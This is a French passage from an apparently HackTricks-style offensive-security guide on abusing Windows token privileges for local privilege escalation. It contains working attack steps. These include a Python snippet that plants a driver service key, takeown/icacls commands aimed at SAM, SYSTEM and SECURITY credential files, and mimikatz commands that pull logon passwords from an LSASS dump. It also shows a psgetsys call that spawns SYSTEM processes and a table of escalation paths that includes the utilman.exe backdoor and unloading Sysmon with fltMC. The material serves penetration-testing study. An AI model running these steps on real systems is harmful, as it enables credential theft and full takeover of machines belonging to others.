1. Accéder à `HKCU` au lieu de `HKLM` en raison de l'accès en écriture restreint.
2. Créer le chemin `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` dans `HKCU`, où `<RID>` représente l'Identifiant Relatif de l'utilisateur actuel.
3. Définir `ImagePath` sur le chemin d'exécution du binaire.
4. Assigner `Type` comme `SERVICE_KERNEL_DRIVER` (`0x00000001`).
```python
# Example Python code to set the registry values
import winreg as reg
# Define the path and values
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
reg.CloseKey(key)
```
Plus de façons d'abuser de ce privilège dans [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
### SeTakeOwnershipPrivilege
Ceci est similaire à **SeRestorePrivilege**. Sa fonction principale permet à un processus de **prendre possession d'un objet**, contournant l'exigence d'un accès discrétionnaire explicite grâce à la fourniture de droits d'accès WRITE_OWNER. Le processus consiste d'abord à sécuriser la possession de la clé de registre prévue à des fins d'écriture, puis à modifier le DACL pour permettre les opérations d'écriture.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
# Use this with files that might contain credentials such as
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
c:\inetpub\wwwwroot\web.config
```
### SeDebugPrivilege
Ce privilège permet de **déboguer d'autres processus**, y compris de lire et d'écrire dans la mémoire. Diverses stratégies d'injection de mémoire, capables d'échapper à la plupart des solutions antivirus et de prévention des intrusions sur hôte, peuvent être employées avec ce privilège.
#### Dump mémoire
Vous pouvez utiliser [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) de la [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ou [SharpDump](https://github.com/GhostPack/SharpDump) pour **capturer la mémoire d'un processus**. Plus précisément, cela peut s'appliquer au processus **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**, qui est responsable du stockage des informations d'identification des utilisateurs une fois qu'un utilisateur s'est connecté avec succès à un système.
Vous pouvez ensuite charger ce dump dans mimikatz pour obtenir des mots de passe :
```
mimikatz.exe
mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
#### RCE
Si vous souhaitez obtenir un shell `NT SYSTEM`, vous pouvez utiliser :
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
- [**psgetsys.ps1 (Script Powershell)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
```bash
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
```
### SeManageVolumePrivilege
Le `SeManageVolumePrivilege` est un droit d'utilisateur Windows qui permet aux utilisateurs de gérer les volumes de disque, y compris de les créer et de les supprimer. Bien qu'il soit destiné aux administrateurs, s'il est accordé à des utilisateurs non administrateurs, il peut être exploité pour une élévation de privilèges.
Il est possible de tirer parti de ce privilège pour manipuler les volumes, ce qui conduit à un accès complet au volume. L'[SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) peut être utilisé pour donner un accès complet à tous les utilisateurs pour C:\
De plus, le processus décrit dans [cet article Medium](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) explique comment utiliser le détournement de DLL en conjonction avec le `SeManageVolumePrivilege` pour élever les privilèges. En plaçant une DLL de charge utile `C:\Windows\System32\wbem\tzres.dll` et en appelant `systeminfo`, la dll est exécutée.
## Check privileges
```
whoami /priv
```
Les **tokens qui apparaissent comme Désactivés** peuvent être activés, vous pouvez en fait abuser des tokens _Activés_ et _Désactivés_.
### Activer tous les tokens
Si vous avez des tokens désactivés, vous pouvez utiliser le script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) pour activer tous les tokens :
```bash
.\EnableAllTokenPrivs.ps1
whoami /priv
```
Or le **script** intégré dans ce [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
## Table
La feuille de triche complète des privilèges de jeton est disponible à [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), le résumé ci-dessous ne listera que les moyens directs d'exploiter le privilège pour obtenir une session admin ou lire des fichiers sensibles.
| Privilège | Impact | Outil | Chemin d'exécution | Remarques |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**Admin**_ | Outil tiers | _"Cela permettrait à un utilisateur d'imiter des jetons et de s'élever vers le système nt en utilisant des outils tels que potato.exe, rottenpotato.exe et juicypotato.exe"_ | Merci à [Aurélien Chalot](https://twitter.com/Defte_) pour la mise à jour. J'essaierai de reformuler cela en quelque chose de plus ressemblant à une recette bientôt. |
| **`SeBackup`** | **Menace** | _**Commandes intégrées**_ | Lire des fichiers sensibles avec `robocopy /b` | <p>- Peut être plus intéressant si vous pouvez lire %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (et robocopy) n'est pas utile lorsqu'il s'agit de fichiers ouverts.<br><br>- Robocopy nécessite à la fois SeBackup et SeRestore pour fonctionner avec le paramètre /b.</p> |
| **`SeCreateToken`** | _**Admin**_ | Outil tiers | Créer un jeton arbitraire incluant des droits d'administrateur local avec `NtCreateToken`. | |
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Dupliquer le jeton `lsass.exe`. | Script à trouver sur [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
| **`SeLoadDriver`** | _**Admin**_ | Outil tiers | <p>1. Charger un pilote de noyau bogué tel que <code>szkg64.sys</code><br>2. Exploiter la vulnérabilité du pilote<br><br>Alternativement, le privilège peut être utilisé pour décharger des pilotes liés à la sécurité avec la commande intégrée <code>ftlMC</code>. c'est-à-dire : <code>fltMC sysmondrv</code></p> | <p>1. La vulnérabilité <code>szkg64</code> est répertoriée comme <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. Le <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">code d'exploitation</a> a été créé par <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Lancer PowerShell/ISE avec le privilège SeRestore présent.<br>2. Activer le privilège avec <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Renommer utilman.exe en utilman.old<br>4. Renommer cmd.exe en utilman.exe<br>5. Verrouiller la console et appuyer sur Win+U</p> | <p>L'attaque peut être détectée par certains logiciels antivirus.</p><p>La méthode alternative repose sur le remplacement des binaires de service stockés dans "Program Files" en utilisant le même privilège</p> |
| **`SeTakeOwnership`** | _**Admin**_ | _**Commandes intégrées**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Renommer cmd.exe en utilman.exe<br>4. Verrouiller la console et appuyer sur Win+U</p> | <p>L'attaque peut être détectée par certains logiciels antivirus.</p><p>La méthode alternative repose sur le remplacement des binaires de service stockés dans "Program Files" en utilisant le même privilège.</p> |
| **`SeTcb`** | _**Admin**_ | Outil tiers | <p>Manipuler des jetons pour inclure des droits d'administrateur local. Peut nécessiter SeImpersonate.</p><p>À vérifier.</p> | |
## Référence
- Jetez un œil à ce tableau définissant les jetons Windows : [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
- Jetez un œil à [**ce document**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) sur l'élévation de privilèges avec des jetons.
{{#include ../../../banners/hacktricks-training.md}}